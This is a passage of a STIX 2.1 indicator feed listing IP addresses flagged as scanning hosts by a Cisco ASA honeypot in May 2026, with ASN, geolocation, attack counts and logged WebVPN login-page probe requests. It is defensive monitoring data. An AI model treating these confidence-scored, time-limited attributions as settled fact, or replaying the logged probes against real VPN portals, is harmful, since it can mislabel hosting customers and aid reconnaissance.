      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.112.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:20:05.000Z",
      "valid_until": "2026-06-06T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-05T15:30:32.909Z",
          "last_seen": "2026-05-26T08:10:34.495Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c099878a-5971-4563-a615-85cd538ddcf9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:20:05.000Z",
      "valid_until": "2026-06-06T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-05T16:13:49.484Z",
          "last_seen": "2026-05-29T13:50:21.495Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9153dced-2e50-4419-a406-3d18fc615a5a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:20:05.000Z",
      "valid_until": "2026-06-06T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T15:59:25.698Z",
          "last_seen": "2026-05-30T15:18:25.711Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--30c3364d-cbbd-4015-a5ee-cb8b9dbb8e22",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:20:05.000Z",
      "valid_until": "2026-06-06T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-05T16:09:47.710Z",
          "last_seen": "2026-05-26T11:07:15.834Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T17:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--9e308fe9-7205-427a-a92f-01c774da7d20",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.244.47.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:20:04.000Z",
      "valid_until": "2026-06-06T17:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T16:55:43.029Z",
          "last_seen": "2026-05-22T19:09:25.428Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T17:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9f74b114-4e0d-4343-833e-82f80daa6ed0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.70.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:20:04.000Z",
      "valid_until": "2026-06-06T17:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T16:28:32.395Z",
          "last_seen": "2026-05-11T12:24:53.208Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T17:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6b3735e3-a598-409b-bf7c-fef5b0b4a2c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:20:04.000Z",
      "valid_until": "2026-06-06T17:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T17:10:07.214Z",
          "last_seen": "2026-05-27T16:07:28.986Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T17:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--5f843fe2-5328-4d5b-832f-30fe03afa795",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T17:20:04.000Z",
      "valid_until": "2026-06-06T17:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-05T16:41:48.129Z",
          "last_seen": "2026-05-29T22:54:07.401Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T18:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--eb331460-d49c-4efb-bab4-0353da23cf69",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T18:20:11.000Z",
      "valid_until": "2026-06-06T18:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T17:58:05.229Z",
          "last_seen": "2026-05-27T01:32:08.542Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T18:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--03795697-a8dc-459a-b037-3f4144a52015",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T18:20:11.000Z",
      "valid_until": "2026-06-06T18:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-05T17:56:17.140Z",
          "last_seen": "2026-05-30T03:38:11.522Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T18:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--07f7c9bc-b2fe-45df-9b9e-12f34c8d6e93",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T18:20:11.000Z",
      "valid_until": "2026-06-06T18:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T17:42:51.644Z",
          "last_seen": "2026-05-29T12:47:22.314Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T18:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a61fb06c-0593-488c-a4d0-39ec8cc6d987",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T18:20:11.000Z",
      "valid_until": "2026-06-06T18:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-05T06:57:28.465Z",
          "last_seen": "2026-05-27T17:35:50.444Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T18:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--60aa0d3c-2e96-4d01-a141-a171f56e8ef0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T18:20:11.000Z",
      "valid_until": "2026-06-06T18:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T18:14:07.224Z",
          "last_seen": "2026-05-07T08:49:18.737Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T19:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--7373fb24-a5c1-4843-b520-8542815fc705",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:20:12.000Z",
      "valid_until": "2026-06-06T19:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-05T19:05:48.308Z",
          "last_seen": "2026-05-30T11:28:45.454Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T19:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: TH; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--9e6d12ba-42fa-4d89-9a13-9e7518af845a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.154.120.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:20:12.000Z",
      "valid_until": "2026-06-06T19:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 16,
          "first_seen": "2026-05-05T18:31:33.983Z",
          "last_seen": "2026-05-05T18:32:12.895Z",
          "country": "Thailand",
          "country_code": "TH",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T19:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--38ac7dd2-f15c-4372-b651-6ef40dbc581c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:20:12.000Z",
      "valid_until": "2026-06-06T19:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-05T19:19:26.569Z",
          "last_seen": "2026-05-23T15:08:53.411Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T19:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fc87f62c-8539-478f-b44f-af5fd7c9df72",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T19:20:12.000Z",
      "valid_until": "2026-06-06T19:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 51,
          "first_seen": "2026-05-05T19:06:11.313Z",
          "last_seen": "2026-05-30T10:34:22.215Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--6ff34712-e924-4c4d-8965-151e459384ef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.244.176.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:20:10.000Z",
      "valid_until": "2026-06-06T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-05T19:29:16.220Z",
          "last_seen": "2026-05-05T19:29:19.223Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--2e376868-d02d-451b-881d-bd37e2623d6a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:20:10.000Z",
      "valid_until": "2026-06-06T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-05T20:00:32.142Z",
          "last_seen": "2026-05-29T23:44:18.730Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--03dc4a36-4d6d-48ac-90d3-ec76e6d1af96",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T20:20:10.000Z",
      "valid_until": "2026-06-06T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T19:29:44.300Z",
          "last_seen": "2026-05-25T15:11:02.404Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T20:20:10.000Z",
